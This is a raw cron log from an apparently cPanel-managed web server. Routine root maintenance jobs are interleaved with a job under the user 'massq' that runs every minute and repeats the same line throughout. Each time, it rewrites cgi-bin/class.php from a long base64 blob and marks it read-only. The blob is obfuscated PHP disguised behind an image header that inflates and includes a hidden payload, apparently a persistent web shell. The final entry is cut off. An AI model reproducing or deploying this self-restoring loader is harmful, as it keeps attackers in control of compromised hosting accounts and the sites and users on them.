Sep  2 21:19:01 server CROND[32413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:19:01 server CROND[32414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:20:01 server CROND[442]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 21:20:01 server CROND[444]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 21:20:01 server CROND[446]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:20:01 server CROND[447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:20:01 server CROND[448]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:20:01 server CROND[449]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 21:20:01 server CROND[450]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 21:20:01 server CROND[451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:20:01 server CROND[445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:21:01 server CROND[1414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:21:01 server CROND[1415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:21:01 server CROND[1413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:22:01 server CROND[1782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:22:01 server CROND[1783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:22:01 server CROND[1784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:23:01 server CROND[2188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:23:01 server CROND[2187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:23:01 server CROND[2189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:24:01 server CROND[2581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:24:01 server CROND[2582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:24:01 server CROND[2583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:25:02 server CROND[3084]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 21:25:02 server CROND[3089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:25:02 server CROND[3093]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:25:02 server CROND[3091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:25:02 server CROND[3090]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 21:25:02 server CROND[3103]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:25:02 server CROND[3092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:26:01 server CROND[3899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:26:01 server CROND[3900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:26:01 server CROND[3901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:27:01 server CROND[4274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:27:01 server CROND[4275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:27:01 server CROND[4276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:27:01 server CROND[4277]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 21:28:01 server CROND[4653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:28:01 server CROND[4655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:28:01 server CROND[4654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:29:01 server CROND[5040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:29:01 server CROND[5042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:29:01 server CROND[5041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:30:01 server CROND[6083]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 21:30:01 server CROND[6087]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 21:30:01 server CROND[6086]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 21:30:01 server CROND[6089]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:30:01 server CROND[6088]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:30:01 server CROND[6092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:30:01 server CROND[6093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:30:01 server CROND[6090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 